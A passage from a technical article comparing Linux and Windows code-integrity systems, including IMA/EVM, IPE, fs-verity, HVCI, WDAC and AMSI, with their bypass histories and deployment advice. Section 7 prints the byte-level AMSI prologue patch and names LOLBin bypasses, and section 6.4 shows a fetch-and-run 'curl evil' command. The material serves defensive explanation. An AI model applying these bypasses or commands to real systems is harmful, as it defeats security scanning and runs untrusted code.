Windows took the equivalent step four years later, but at a different layer. Virtualization-Based Security (VBS) [@learn-microsoft-com-oem-vbs] splits Windows into Virtual Trust Level 0 -- the normal kernel everyone has been writing rootkits for since 1993 -- and Virtual Trust Level 1, a small secure kernel hosted by Hyper-V. The kernel-mode Code Integrity check that gates loading of every driver is moved into VTL1. A VTL0 attacker with full SYSTEM, even one who has loaded a malicious driver, cannot patch the VTL1 verifier; they cannot even read its memory.

Windows' Hyper-V-rooted split that puts a small secure kernel in VTL1, isolated from the normal Windows kernel (VTL0) by the hypervisor. Hypervisor-protected Code Integrity (HVCI), exposed in Windows Settings as "Memory integrity", uses VTL1 to host the kernel-mode code-integrity check, so a VTL0 attacker with SYSTEM cannot patch the verifier or downgrade its policy.

Microsoft's HVCI documentation [@learn-microsoft-com-oem-vbs] frames the W^X invariant HVCI enforces on kernel pages: "memory integrity ... protects and hardens Windows by running kernel mode code integrity within the isolated virtual environment of VBS ... ensuring that kernel memory pages are only made executable after passing code integrity checks inside the secure runtime environment, and executable pages themselves are never writable." A kernel page can be writable or executable; never both at the same time. The split is enforced by the hypervisor."HVCI", "Memory Integrity", and "kernel-mode code integrity running in VBS" are the same mechanism. Microsoft's product-name churn here is unusually thick: the Windows Settings UI calls it Memory Integrity, the documentation page is titled "Enable virtualization-based protection of code integrity", the underlying capability is HVCI, and Microsoft also markets the same hardware-and-software bundle as "Secured-Core PC".

flowchart TD subgraph VTL0[VTL0: normal Windows kernel] P[User process] DRV[Driver load request] RK[Hypothetical rootkit with SYSTEM] K0[NT kernel] P --> K0 DRV --> K0 RK --> K0 end K0 -->|hypercall: verify driver| HV[Hypervisor] RK -.X.-> SK HV --> SK subgraph VTL1[VTL1: secure kernel] SK[Secure kernel] CI[Kernel-mode CI verifier] SK --> CI end CI -->|allow / deny| HV HV -->|result| K0

IPE (Linux 6.12, November 2024): property-based decisions

The most recent Linux pivot moves further still. Integrity Policy Enforcement [@docs-kernel-org-lsm-ipehtml], upstreamed in Linux 6.12 in November 2024 from a Microsoft-contributed patch series (source on GitHub [@github-com-microsoft-ipe]), does not hash files at all. Its kernel documentation is explicit: "Integrity Policy Enforcement (IPE) is a Linux Security Module that takes a complementary approach to access control. Unlike traditional access control mechanisms that rely on labels and paths for decision-making, IPE focuses on the immutable security properties inherent to system components." A policy rule looks like:

op=EXECUTE dmverity_signature=TRUE dmverity_roothash=sha256:<hex> action=ALLOW
op=EXECUTE fsverity_signature=TRUE action=ALLOW
op=EXECUTE action=DENY

The kernel is not asked "what is the SHA-256 of this file?" at op=EXECUTE time. It is asked "did this file come from a dm-verity device whose root hash matches one of our trusted signatures?" The verifier has nothing to compute per access; it has only to read a pre-computed property. The trust boundary has moved out to whoever signed the dm-verity image at build time.

fs-verity (Linux 5.4, November 2019): O(log n) per page

The cryptographic complement is fs-verity [@kernel-org-filesystems-fsverityhtml], upstreamed in Linux 5.4 in November 2019 by Eric Biggers and Theodore Ts'o at Google. The kernel docs describe the trick: "fs-verity is similar to dm-verity but works on files rather than block devices ... userspace can execute an ioctl that causes the filesystem to build a Merkle tree for the file and persist it to a filesystem-specific location ... Userspace can use another ioctl to retrieve the root hash ... in constant time, regardless of the file size."

The Merkle tree turns whole-file hashing into O(log n) verification per page read, with constant-time digest retrieval. Concretely, an APK or container layer with thousands of pages does not need a full hash on first open; the page cache verifies the leaves and intermediate Merkle nodes only for the pages actually touched. IMA can consume fs-verity's digest directly through the digest_type=verity modifier in its policy language.

The breakthrough was not a stronger check. It was moving the check out of the attacker's address space.

Each pivot moved the trust boundary outward in a different direction. EVM moved the integrity root from "xattr next to the file" to "HMAC-keyed xattr, key sealed to TPM PCRs". HVCI moved the kernel-mode verifier from "in the kernel the attacker can patch" to "in a secure kernel the attacker cannot reach without breaking the hypervisor". IPE moved the per-access decision from "recompute a file's hash" to "look up a precomputed property". Fs-verity collapsed the per-access cost from O(n) on the file to O(log n) on a Merkle path.

The crypto was already strong. The breakthrough was the geometry of where the verifier lived.

By 2020 both stacks looked dramatically different from their 2009 and 2015 originals. Here is what each one looks like today, side by side.

6. The stack today, side by side

Eleven moving parts. Here is how they line up.

Linux	Windows	Layer
IMA appraise + EVM	App Control (WDAC) UMCI	User-mode code integrity
Kernel module signing	App Control + HVCI driver enforcement	Kernel-mode code integrity
fs-verity + dm-verity	HVCI page-level W^X + signed catalogues	Page-level integrity
AppArmor / SELinux	(no direct analogue; closest is AppContainer / ASR)	Mandatory access control
fapolicyd	App Control + AppLocker	User-space allowlist
IPE	App Control (FilePath / hash rules)	Property-based code integrity
(no direct analogue)	AMSI	Script content scan
(no direct analogue)	Smart App Control + ISG	Cloud reputation

The mapping is not 1-to-1 in either direction. Linux composes; Windows consolidates. To compare meaningfully we have to look at each layer in turn.

6.1 Code-integrity enforcers: IMA + EVM vs WDAC vs IPE

Dimension	Linux IMA + EVM	WDAC (App Control)	IPE
Enforcement layer	VFS / LSM hook (file open, mmap, exec)	PE loader (kernel CI, user-mode CI)	LSM hook on `op=EXECUTE`
Identity primitive	File-content hash or `imasig` / `modsig` / `sigv3`	Authenticode chain, hash, FilePath, or ISG	dm-verity root hash / fs-verity digest
Policy expression	Procedural rules (`func=` / `mask=` / `fsmagic=`)	Signed XML compiled to binary `.p7b`	Signed plain-text DFA
Worst-case per-access	O(n) hash on first access; O(1) cached	O(1) cached; O(n) hash on cache miss	O(1) (properties precomputed)
Fail-closed mode	Yes (appraise)	Yes (enforced)	Yes
Remote-attestation friendly	Yes (TPM PCR 10)	Indirect (Measured Boot logs)	Indirect
Bypass arms race	Whole-disk swap (countered by EVM key sealing)	LOLBins (Microsoft block list + community LOLBAS)	Limited surface (DFA-only)

The IMA policy ABI [@kernel-org-testing-imapolicy] documents the full rule grammar: action [condition ...] where action is one of measure | dont_measure | appraise | dont_appraise | audit | dont_audit | hash | dont_hash, and conditions select on func=, mask=, fsmagic=, fsuuid=, uid=, fowner=, LSM-label predicates, and the all-important appraise_type= modifier that names the signature scheme. IMA template management [@docs-kernel-org-ima-templateshtml] controls what gets recorded per measurement-list entry; the two templates used in practice today are ima-ng (d-ng|n-ng: hash-algo-prefixed digest plus name) and ima-sigv2 (d-ngv2|n-ng|sig: versioned digest plus name plus signature).

WDAC's policy rule reference [@learn-microsoft-com-to-create] defines the rule kinds operators actually write: Publisher, PcaCertificate, LeafCertificate, FileName, Version, Hash (SHA-1, SHA-256, or SHA-384), FilePath (added in 1903 and explicitly weaker because a user with write access can substitute the file), Managed Installer, and Intelligent Security Graph. The compiled output is a signed binary .p7b CIPolicy.

The same doc records the default-on audit-mode behaviour that has surprised many operators: "We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them ... By default, only kernel-mode binaries are restricted. Enabling the following rule option validates user mode executables and scripts." The Enabled:UMCI flag is what flips a WDAC policy from kernel-only to full user-mode enforcement.

flowchart LR PE[PE load request] --> AC[Parse Authenticode signature] AC --> RM[Match rule set] RM --> P[Publisher / cert rule?] P -->|hit| AL[Allow] P -->|miss| H[Hash rule?] H -->|hit| AL H -->|miss| FP[FilePath rule?] FP -->|hit| AL FP -->|miss| MI[Managed Installer?] MI -->|hit| AL MI -->|miss| ISG[Intelligent Security Graph?] ISG -->|hit| AL ISG -->|miss| DEF[Default action] AL --> BL{"In bypass-list deny?"} BL -->|yes| BLK[Block] BL -->|no| LOAD[Loader continues] DEF --> BLK

6.2 Mandatory access control: AppArmor vs SELinux

Dimension	AppArmor	SELinux
Model	Path-based allowlist per binary	Type-enforcement on subject x object x class
Storage of policy state	In-memory DFA loaded from user space	`security.selinux` xattr + compiled `policy.31`
Granularity	Profile per executable	Per-type, per-class, per-operation
Survives file rename	No (path is the identity)	Yes (xattr travels with inode)
Default-on distros	Ubuntu, openSUSE, SLES	RHEL, Fedora, Oracle Linux, Android, ChromeOS
Authoring tools	`aa-genprof`, `aa-logprof`, `aa-enforce`	`audit2allow`, `semodule`, refpolicy, `udica`

AppArmor's kernel documentation [@docs-kernel-org-lsm-apparmorhtml] describes the model directly: "AppArmor is MAC style security extension for the Linux kernel. It implements a task centered policy, with task 'profiles' being created and loaded from user space." A profile reads like a rule file rather than a label algebra:

/usr/sbin/nginx {
  capability net_bind_service,
  /etc/nginx/** r,
  /var/log/nginx/* w,
  /var/www/** r,
  network inet stream,
}

The kernel compiles each profile to a DFA at load time, so policy lookup is O(L) in path length. SELinux's compiled policy uses a hash-table query against compiled type-enforcement rules with an in-memory access-vector cache for O(1) hot decisions. Both are practical; they differ on which model fits the way an administrator thinks. AppArmor wins on auditability and quick authoring; SELinux wins on expressiveness and on what the Wikipedia summary [@en-wikipedia-org-security-enhancedlinux] calls Mandatory Access Control for multi-level security. Smack [@schaufler-ca-com] is a third in-tree LSM, simpler than SELinux, used heavily by Tizen.

Red Hat's `fapolicyd` is the answer for operators who want App Control-style allowlisting without rebuilding the kernel. Trust is inherited from the RPM database; the daemon sits on the kernel's `fanotify` permission channel and answers ALLOW or DENY on every `open` and `exec`. Per the RHEL hardening guide [@access-redhat-com-fapolicydsecurity-hardening], rule files in `/etc/fapolicyd/rules.d/` are concatenated in lexicographic order into `compiled.rules`. The Red Hat-shipped numbered prefixes are 10 (language interpreters), 20 (dracut), 21 (updaters), 30 (patterns), 40/41/42 (ELF), 70 (trusted languages), 72 (shell), 90 (deny-execute), 95 (allow-open). First-match-wins evaluation means operators adding custom rules must give their file a number lower than 90 to ensure their `allow` is reached before the catch-all deny.

6.3 Hypervisor-anchored CI: HVCI

HVCI's runtime cost is dominated by the hypercall round-trip from VTL0 to VTL1 on driver load and on each executable-page allocation. Steady-state overhead is small on hardware with the right capabilities.

Microsoft's HVCI documentation [@learn-microsoft-com-code-integrity] names the dependency: "Memory integrity works better with Intel Kabylake and higher processors with Mode-Based Execution Control, and AMD Zen 2 and higher processors with Guest Mode Execute Trap capabilities. Older processors rely on an emulation of these features, called Restricted User Mode, and will have a bigger impact on performance." Practitioner-visible rule of thumb: less than 5 percent overhead on MBEC/GMET-capable silicon, 10 to 20 percent on kernel-bound workloads when the CPU has to emulate.

HVCI hardware prerequisites per the OEM VBS guidance [@learn-microsoft-com-oem-vbs]: 64-bit CPU with virtualization extensions (VT-x or AMD-V), second-level address translation (EPT or RVI), an IOMMU (VT-d or AMD-Vi), TPM 2.0, UEFI MAT, Secure MOR v2, and ideally MBEC (Intel) or GMET (AMD).

6.4 Script-level inspection: AMSI vs Linux's gap

Dimension	AMSI	Linux IMA on scripts
What it sees	Deobfuscated script buffer at execution time	Whole-file content at `open` or `mmap`
Coverage	PowerShell, WSH, VBA, JScript, MSHTA, UAC installers, .NET, Edge	Any file whose `func=FILE_CHECK` rule matches
Provider model	COM `IAntimalwareProvider` per process	None; kernel verifies signature directly
Defends against runtime obfuscation	Yes (sees final buffer)	No (sees file as written)
Trust boundary	Wrong (in-process; patchable by attacker)	Right (kernel-side; attacker cannot patch)

The asymmetry is the point. AMSI sees what the interpreter is about to evaluate; IMA sees only what is on disk. AMSI catches in-memory PowerShell payloads, Office macros that decode themselves at runtime, and Invoke-Expression evaluations that never touched the filesystem. IMA's hash is final at file write time and tells you exactly nothing about what bash -c "$(curl evil)" will execute.

The reduced PowerShell language mode App Control forces on systems with UMCI enabled. It blocks reflection (the `[System.Reflection]` namespace), dynamic-type creation, and arbitrary .NET API calls. It is the runtime-side complement to App Control: even if a script gets in, its evaluation surface is dramatically reduced. This is also what makes the `amsiInitFailed` flag-flip bypass non-trivial under modern App Control: the reflection needed to set the flag is blocked.

6.5 Cloud reputation: Smart App Control

Smart App Control [@learn-microsoft-com-business-appcontrol] ships as a pre-baked WDAC policy bundled with Windows 11 22H2 and later. The App Control overview describes it as the consumer-facing entry point introduced in Windows 11 version 22H2 to bring application control to home users. On every fresh install SAC starts in evaluation mode for 48 hours. Microsoft's cloud reputation service silently observes the user's app inventory; on enterprise-managed devices SAC auto-disables at the end of the window unless the user explicitly opts in. Once disabled by user, policy, or the auto-disable rule, it can only be re-enabled by performing a clean install of Windows. A Settings > Reset This PC is not sufficient.

Three quirks operators must understand. First, evaluation lasts 48 hours and is silent. Second, enterprise-managed (Intune, AAD-joined, GPO-managed) devices auto-disable at evaluation end. Third, disable is one-way: there is no "restart evaluation" path. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. Consumers with a small app footprint and no IT team get a cloud-driven allowlist for free; everyone else is expected to author a policy.

Note: Once Smart App Control is off on a device, it can only be re-enabled by performing a clean install of Windows. A Settings > Reset This PC does not re-enable SAC. Treat enabling SAC as a deployment decision, not a casual toggle.

6.6 fs-verity as the per-file Merkle layer

For the data-at-rest performance story, fs-verity's ioctl(FS_IOC_ENABLE_VERITY) builds the Merkle tree, persists it next to the file, and switches the file to read-only. FS_IOC_MEASURE_VERITY returns the digest in constant time. IMA's policy language gained appraise_type=sigv3 and the digest_type=verity modifier so a rule like

appraise func=BPRM_CHECK fsmagic=0xef53 appraise_type=sigv3 digest_type=verity

asks the filesystem for the file's fs-verity digest (O(1)) and verifies the kernel-stored signature over that digest, rather than re-hashing the file even on first access. Supported on ext4, f2fs, and btrfs.

Eleven mechanisms, two architectures, one shared shape: an allowlist of trusted producers plus a hook that can refuse to honour anything outside it. The allowlist of producers is the deepest common assumption, and it is also where the next class of attacks lives.

7. Bypass arms races

Every code-integrity system on the market is in a continuous fight with the bypass it shipped with. The fights tell you what each architecture got wrong.

The AMSI bypass family

The three single-shot techniques from Section 4 -- prologue patch, amsiInitFailed flag flip, library unload -- have all been answered by partial mitigations. Microsoft has hardened AMSI provider loading [@learn-microsoft-com-interface-portal] to require Authenticode-signed provider DLLs from Windows 10 1903 onward. Defender ships ETW-based detection that flags in-memory patches to amsi.dll. Constrained Language Mode (forced by App Control) blocks the reflection needed to flip AmsiUtils.amsiInitFailed. None of these closes the structural problem. AMSI is by design a function call inside the script host. As long as the host process is the trust boundary, the attacker who reaches the host process wins.

The trust boundary is wrong: the host process making the AMSI call is the same process the attacker is running in. The simplest in-memory patch overwrites `AmsiScanBuffer`'s prologue with a six-byte sequence that loads `AMSI_RESULT_CLEAN` (0) into EAX and returns:

xor eax, eax    ; 31 C0
ret             ; C3

or, depending on the calling convention the patcher targets:

mov eax, 0x80070057   ; B8 57 00 07 80   (HRESULT E_INVALIDARG)
ret                   ; C3

Both variants are detected by modern Defender via the ETW patch detection, but neither requires kernel privileges or a syscall to apply.

The WDAC LOLBin arms race

Microsoft's App Control bypass list [@learn-microsoft-com-bypass-appcontrol] is a maintained document that any non-trivial WDAC policy must merge into its deny rules. The 40-plus entries include mshta.exe, wscript.exe, cscript.exe, msbuild.exe, Microsoft.Build.dll, windbg.exe, cdb.exe, kd.exe, dotnet.exe, csi.exe, rcsi.exe, addinprocess.exe, addinutil.exe, aspnet_compiler.exe, bash.exe, wsl.exe, runscripthelper.exe, system.management.automation.dll, and webclnt.dll / davsvc.dll. The community LOLBAS index [@lolbas-project-github-io] widens the field to roughly 200 entries with MITRE ATT&CK technique IDs.

Tooling (the WDAC Wizard, AaronLocker, Microsoft's ConfigCI PowerShell module, CiTool.exe) automates merging the deny set into a base policy and onto Intune. The asymmetry is the bottom line: trust granted at signer granularity, exploitation at binary granularity. The deny list is not a fix; it is a treadmill.

A trusted binary, often shipped by the OS vendor and signed by the vendor's code-signing certificate, that an attacker re-purposes to bypass an allowlist or to perform actions that would be blocked if attempted with non-vendor tooling. Examples on Windows: `mshta.exe` to evaluate HTA scripts, `regsvr32.exe` to execute a remote scriptlet, `installutil.exe` to run code via a designed-for-development assembly loader.

fapolicyd permissive-window

This is not a cryptographic bypass; it is the architectural choice (userspace daemon over fanotify) showing its operational seam. A privileged operator who sets permissive=1 to debug a noisy rule and forgets to revert has silently disabled enforcement. If the daemon dies under load or after a bad rule deploy, the kernel waits for the fanotify response timeout and then fails open. There is no failsafe equivalent of HVCI's "the verifier is in another address space" guarantee.

IMA / EVM offline-key attacks

EVM is only as strong as its key custody. If the HMAC key is loaded from a file on disk (the worst-case configuration), an attacker with root on a running system can read it, then perform the offline-rewrite attack of Section 4 with a valid security.evm HMAC. TPM-sealed keys close this path on hardware that supports sealing; some installations skip the seal step "until we add a TPM" and never do. Asymmetric (EVM portable signatures) mode avoids on-box key custody but requires a per-package signing pipeline most distributions have not built.

The cross-stack symmetry

Both lineages obey two architectural rules, and both have at least one place where they break each rule:

Bypass class	Linux instance	Windows instance	Root cause	Partial mitigation
Verifier shares address space with attacker	(script interpreters; no in-kernel interpreter scanner)	AMSI prologue patch, `amsiInitFailed` flag flip	Software-only protection of an in-process secret is impossible	ETW patch detection, signed providers, Constrained Language Mode
Trust grant coarser than exploit unit	RPM trust pre-fapolicyd integrity-mode addition	WDAC Publisher rules + LOLBins	Trust algebra cannot express "Microsoft except mshta" with one rule	Hash-level denies, growing block list
Reference value reachable by attacker	IMA without EVM	(HVCI moved the kernel verifier out of reach)	Reference value next to the file under attacker control	EVM HMAC sealed to TPM PCR
Verifier is killable	fapolicyd daemon failure	(HVCI verifier is hypervisor-isolated)	Verifier liveness is part of the trust assumption	TPM-sealed boot policy + kernel-mode fallback

The first row is the most uncomfortable for both stacks. Linux does not have an AMSI-equivalent in production, so there is no in-kernel hook that sees the buffer an interpreter is about to evaluate; the boundary is not "wrong", it simply does not exist. Windows has the hook and has paid for the consequences of putting it in the wrong place for ten years. Neither result is good.

The lesson from both rows of pivots is consistent: when an architecture is forced to put the verifier somewhere reachable, treat its output as telemetry rather than control, and budget for the bypass.

These are not implementation bugs. They are structural features of the architectures, and to understand why, we have to look at what computer science says is and is not possible.

8. What the theory says

Three impossibility results bound everything in this article. Two are decades old; the third is a property of how modern interpreted languages execute.

Rice's theorem

Rice's 1953 theorem says that any non-trivial semantic property of an arbitrary program is undecidable from the program text alone. Applied to malware: there is no algorithm that takes a binary as input and returns "malicious" or "benign" in finite time for every input.

Every code-integrity stack on the market therefore reduces to the same shape: an allowlist of producers (signers, hashes, dm-verity roots) the operator chooses to trust, plus a hook that refuses to honour anything outside the allowlist. Defender, ClamAV, the AMSI scanner -- all the things we call "malware detectors" -- are heuristic add-ons running on top of an allowlist substrate, and they are explicitly fallible. They have to be.

No software-only protection of an in-process secret

The second result is operational, not formal, but it is no less binding. If process P holds a secret S, and process P also evaluates code C the attacker chose, then no purely software-side technique inside P can keep C from reading or rewriting S.

AMSI's design violates this: the scanner is a function call inside the script host, and the attacker is running code in the script host. HVCI's entire architecture exists to relocate the kernel-mode code-integrity verifier out of the host's address space, into a secure kernel the attacker cannot reach with normal kernel privileges. EVM's design likewise moves the integrity-defining key into a kernel keyring sealed to TPM PCRs so an offline attacker with disk access cannot reach it.

No verification of dynamically generated executable code

The third result is the gap on both operating systems. JIT-compiled code (V8, JVM, CLR), libffi closures, and anonymous mmap followed by mprotect(PROT_EXEC) all produce executable bytes that did not exist on disk and were never hashed.

The IPE documentation [@docs-kernel-org-lsm-ipehtml] lists this as an explicit limitation: a property-based check on the file the JIT compiled does not authenticate the bytes the JIT emitted. WDAC's User-Mode Code Integrity has the same gap for managed runtimes that emit IL at runtime. There is no production answer on either side; there are only mitigations: disable JITs where possible, run them in restricted runtimes (Constrained Language Mode), block the trampolines.The JIT gap is one reason both stacks ship "Constrained Language Mode"-style restricted-runtime options. PowerShell's Constrained Language Mode blocks reflection and dynamic-type creation; the JVM's --module-path and module-system encapsulation play a similar role for hosted Java code; the CLR's AppContainer and the .NET Core trim modes lean the same way. None of these "verify" the JIT output; they restrict what the runtime is willing to emit.

Cryptographic bounds

The cryptographic side, by contrast, is closed.

Any preimage-resistant hash needs $\Omega(n)$ work on the data being hashed. You cannot verify a file you do not read.
A Merkle tree with leaf size $k$ over a file of size $n$ reduces this to $O(\log(n/k))$ per partial read. The classic Merkle 1979 construction underlies dm-verity, fs-verity, and the Android APK Signature Scheme v4. fs-verity matches this lower bound.
Whole-file SHA-256 on modern x86 with SHA-NI runs at roughly $2 \text{ GB/s}$ per core; SHA-512 at $\sim 1.4 \text{ GB/s}$. A 100 MB binary verifies in roughly $50 \text{ ms}$ worst-case and $0 \text{ ms}$ cached. RSA-2048 and Ed25519 signature verification both finish in well under a millisecond on modern hardware (tens to a few hundred microseconds depending on CPU and library); verify cost is not the bottleneck.

So on the crypto side the gap between upper and lower bounds is closed. On the policy-expressiveness side there is no "best" policy because the right policy depends on threat model. There is no Pareto frontier; there are only trade-offs.

Bound	What it says	Mechanism that matches it	Remaining gap
Rice's theorem	"Is this binary malicious?" is undecidable	Every CI stack is an allowlist + signer model	Allowlist composition is itself a policy problem
In-process secret	No purely-software defence inside the attacker's address space	HVCI moves verifier to VTL1; EVM key in keyring sealed to TPM	AMSI design violates this; the gap is structural
Hash verification	$\Omega(n)$ per full read; $O(\log n)$ per partial read	fs-verity per page; IMA cached on `i_iversion`	Cold-cache cost remains O(n) for non-fs-verity files
JIT and dynamic code	No way to verify code that did not exist on disk	None	Restricted-runtime modes (CLM, AppContainer) are the best partial answer
Asymmetric verify	About 60-300 us per RSA-2048 or Ed25519 verify on modern x86	Authenticode catalogues amortise; IMA caches in inode	Cold cache is the only sensitive case

Key idea: Crypto is closed. Policy expressiveness and trust-boundary protection are theoretically unsolvable in general. Every stack is an allowlist plus a trusted-signer model, never a malware detector. The wall is theoretical, not engineering.

If the theory says we cannot win, what is research targeting in 2026?

9. Open frontiers

Three problems define the 2026 research front. All are being worked on upstream. None will dissolve the theoretical bounds of Section 8.

Linux integrity at distribution scale: the Integrity Digest Cache

IMA appraisal has a scale problem. On a general-purpose Linux distribution where every file is RPM-signed, asking IMA to verify a per-file imasig signature on every open is expensive.

Roberto Sassu (Huawei Cloud) proposed a fix as the digest_cache LSM in version 3 of the patchset, posted in February 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom] and covered on LWN [@lwn-net-articles-961591]. The v3 cover letter is concrete: "Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read." The design extracts pre-computed reference digests from vendor-signed digest lists (RPM headers, kernel TLV digest-list format, third-party formats via loadable parsers) and exposes a digest_cache_lookup() primitive that integrity providers (IMA, IPE, BPF LSM) call instead of verifying per-file signatures.

By v6 in November 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom-2] the work had been retitled "Introduce the Integrity Digest Cache" and pivoted from a standalone LSM into an integrity-subsystem helper, in response to maintainer feedback. The v6 cover letter quantifies the baseline the design attacks: IMA measurement "introduces a noticeable overhead (up to 10x slower in a microbenchmark) on frequently used system calls, like the open()." Discussion continues on the linux-integrity list [@lore-kernel-org-linux-integrity]; memory safety of the TLV parser was verified with the Frama-C [@frama-c-com] static analyser. As of late 2024 the work is not yet upstream.

Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read. -- Roberto Sassu, digest_cache LSM v3 cover letter, February 2024

The important framing correction: the Integrity Digest Cache is not a Linux AMSI equivalent. AMSI is an interpreter-side scanner of the deobfuscated, about-to-execute script buffer. The Integrity Digest Cache is a file-content digest delivery mechanism that closes the same gap IMA already closes, but more efficiently and at distribution scale. The Linux script-content gap remains genuinely open.

Out-of-process AMSI broker

The conjectural fix on the Windows side is an out-of-process AMSI broker: every AmsiScanBuffer call IPCs to a service running outside the script host's address space. The in-process bypass family disappears because the attacker is no longer in the same process as the scanner. The cost is a context switch and serialisation overhead per script eval.

Microsoft has layered partial mitigations -- signed AMSI provider DLLs from 1903, ETW patch detection in Defender, Constrained Language Mode under App Control -- but no full out-of-process redesign exists. Whether it ever will is a function of how willing Microsoft is to pay the latency cost on hot PowerShell loops.

Cross-OS attestation

A verifier validating evidence from a mixed Linux + Windows fleet today must speak two languages at once. IMA's measurement-log format (ima_template_fmt) and Windows Measured Boot's WBCL [@trustedcomputinggroup-org-log-format] both target TPM PCRs but encode events differently.

Confidential-computing efforts (Intel TDX, AMD SEV-SNP) are pushing toward a common report/quote primitive at the platform layer, and the TCG Canonical Event Log Format aims at a portable per-entry representation. Workload-level integrity proofs remain stack-specific. The two operating systems do not yet speak a common attestation language.

Problem	Current best partial result	Upstream status
IMA appraisal scale on RPM-signed distros	Integrity Digest Cache, 45-65% appraisal speedup	Patchset v6 (Nov 2024); not upstream
AMSI in-process trust boundary	Signed provider DLLs, ETW patch detection, CLM	Partial; structural fix would be OOP broker
Linux script-content scanning	Nothing in production	Open
Cross-OS attestation interop	TCG CEL, TDX/SEV-SNP quotes	Platform-layer; workload-level still split
WDAC LOLBin treadmill	Microsoft block list + LOLBAS + WDAC Wizard	Operational; structural fix unknown

Each of these will probably ship in the 2026-2028 window. None of them dissolves the theoretical bounds of Section 8. The job for a defender in 2026 is therefore operational, not technological.

10. Practitioner decision guide

Eight common deployment scenarios. Eight concrete answers.

If you need...	On Linux, use...	On Windows, use...
TPM-backed remote attestation	IMA + EVM (TPM PCR 10)	Measured Boot + TPM PCR 11 + HVCI
Block unsigned drivers	`module.sig_enforce=1` plus kernel module signing	HVCI (Memory Integrity)
Cryptographic allowlist of installed software	fapolicyd (RPM/DEB trust)	App Control with Publisher rules
Per-app sandbox	AppArmor or SELinux	AppContainer or App Control (no direct equivalent)
Catch in-memory PowerShell payloads	(no direct equivalent)	AMSI
Consumer-grade reputation gating	(no direct equivalent)	Smart App Control
Immutable appliance image	dm-verity + IPE	App Control with hash rules + HVCI
Large APK-style assets verified lazily	fs-verity	(no direct equivalent)

The why behind each row.

TPM-backed attestation. On Linux, IMA's measurement mode extends file hashes into PCR 10 and ships the measurement log to a remote verifier (Keylime, Veraison). On Windows it means consuming the Measured Boot event log a Windows kernel emits while VBS+HVCI is enabled. Both stacks target the same root of trust (the TPM) but speak different event formats.

Blocking unsigned drivers. Linux uses a built-in kernel module signing flag. Windows needs HVCI, because the kernel-mode CI check runs in VTL1 and any policy weakening attempted from VTL0 with SYSTEM cannot reach it.

Application allowlisting on general-purpose distributions. This is fapolicyd's wheelhouse: it inherits trust from the RPM/DEB database, which is the only place a general-purpose distro has a clean "trusted" list. On Windows, App Control with publisher rules plus a managed-installer policy is the equivalent.

Per-app sandboxing. Clean Linux story (AppArmor or SELinux per binary). On Windows it is the gap App Control was never quite designed to fill; AppContainer or Microsoft Defender Attack Surface Reduction rules are the substitutes.

In-memory PowerShell payloads. AMSI's use case. Linux has nothing equivalent in production.

Consumer reputation gating. Smart App Control's use case. Linux distros have nothing equivalent because the distribution-package model already plays that role.

Immutable appliance images. Dm-verity plus IPE on Linux. App Control hash rules plus HVCI on Windows.

Large lazy-loaded assets. Fs-verity territory; Windows has no public equivalent.

Common implementation pitfalls

Distilled from the same shape: every stack has a default that surprises operators.

IMA without EVM and without a TPM-sealed key is decorative. Hashing files into an xattr the attacker can rewrite buys you nothing against offline access. EVM is mandatory; the EVM key must be sealed.
AppArmor profiles authored in complain mode never get promoted to enforce. Schedule a config-management pass that runs aa-enforce on the profiles you actually want to confine.
SELinux setenforce 0 for debugging that becomes permanent. The /.autorelabel flag is required after restoring contexts; track that you flipped it.
fapolicyd permissive-mode lapses. Set up alerting on permissive=1 in the runtime configuration; treat the daemon's exit status as a security event.
WDAC's Enabled:Audit Mode policy-rule option is on by default. Policies silently do not enforce until you remove it. Add a deployment check that asserts audit mode is off before declaring rollout complete.
HVCI without a driver-compatibility check. Microsoft's DG_Readiness_Tool and the HVCI compatibility report belong in every pilot. Vendors that allocate RWX kernel pages will fail HVCI loading and leave the host unbootable.
Treating AMSI as a control. It is telemetry. Budget for the bypass on day one.
Smart App Control disable is one-way. A single mis-click ends the consumer reputation gate until the device is reset. Make sure the user understands this before they tap the toggle.

Note: On Linux: enable IMA in measure mode before appraise; deploy AppArmor / SELinux profiles in complain / permissive before enforce; run fapolicyd with permissive=1 for the first deploy. On Windows: leave WDAC's Enabled:Audit Mode set during the first rollout and use the event log to identify the policy gaps before flipping to enforced. Audit mode is the only safe way to discover that the policy is wrong before it locks you out of production.

Note: A bare IMA appraisal policy without an HMAC-keyed EVM (and without the key sealed to a TPM 2.0 PCR set) does not stop an offline attacker. If you do not have TPM-sealed key custody and signed-xattr xattrs, IMA appraisal is mostly a check-box. fapolicyd with integrity=ima may be a saner starting point on machines without TPM.

Usually no, unless your distribution signs every system file (most do not for `imasig` in production) and you have a TPM-sealed EVM key. For general-purpose servers, fapolicyd with RPM-database trust is usually the right answer; it inherits trust from packages you already trust and does not require kernel-side signature infrastructure. Reserve IMA appraise for appliance / fixed-function builds, embedded distros, or fleets with a signed-package pipeline. Path-based reasoning maps to how administrators think about confinement: "this binary may read /etc/nginx, may write /var/log/nginx, may bind a network socket." SELinux's type-enforcement model is more expressive (it lets a single rule cover an entire class of objects across paths and bind mounts), but it requires the administrator to think in compiled-policy terms. Both are correct; pick the one whose mental model matches your team. The right answer on Ubuntu and SUSE is almost always AppArmor; the right answer on RHEL and Android is almost always SELinux. No. Microsoft's block list [@learn-microsoft-com-bypass-appcontrol] grows whenever a new signed binary turns out to host an attacker-friendly evaluator. Treat WDAC as defence-in-depth, layered with HVCI and AMSI-as-telemetry, not as a single-point allowlist. The WDAC Wizard and AaronLocker projects automate keeping the deny set current; even with them, expect the deny set to evolve every quarter. Yes. Enable it, but configure it as a telemetry source feeding Defender for Endpoint and any EDR pipeline you operate. The bypass family of Section 7 is real, but the un-bypassed case still catches the long tail of script-based attacks that do not bother defeating AMSI, and the bypass attempt itself is highly detectable (in-memory patch ETW events). Treat AMSI alerts as detective controls, not preventive controls. On CPUs with Intel MBEC (Kaby Lake or newer) or AMD GMET (Zen 2 or newer) [@learn-microsoft-com-oem-vbs], the steady-state overhead is generally under 5 percent. On older CPUs that rely on the Restricted User Mode emulation path, kernel-bound workloads can see 10 to 20 percent regressions. Run your specific kernel-bound benchmarks on the actual hardware before enabling on a fleet with a mixed CPU generation; "free" is a Kaby Lake-and-newer claim. Usually no. SAC auto-disables on 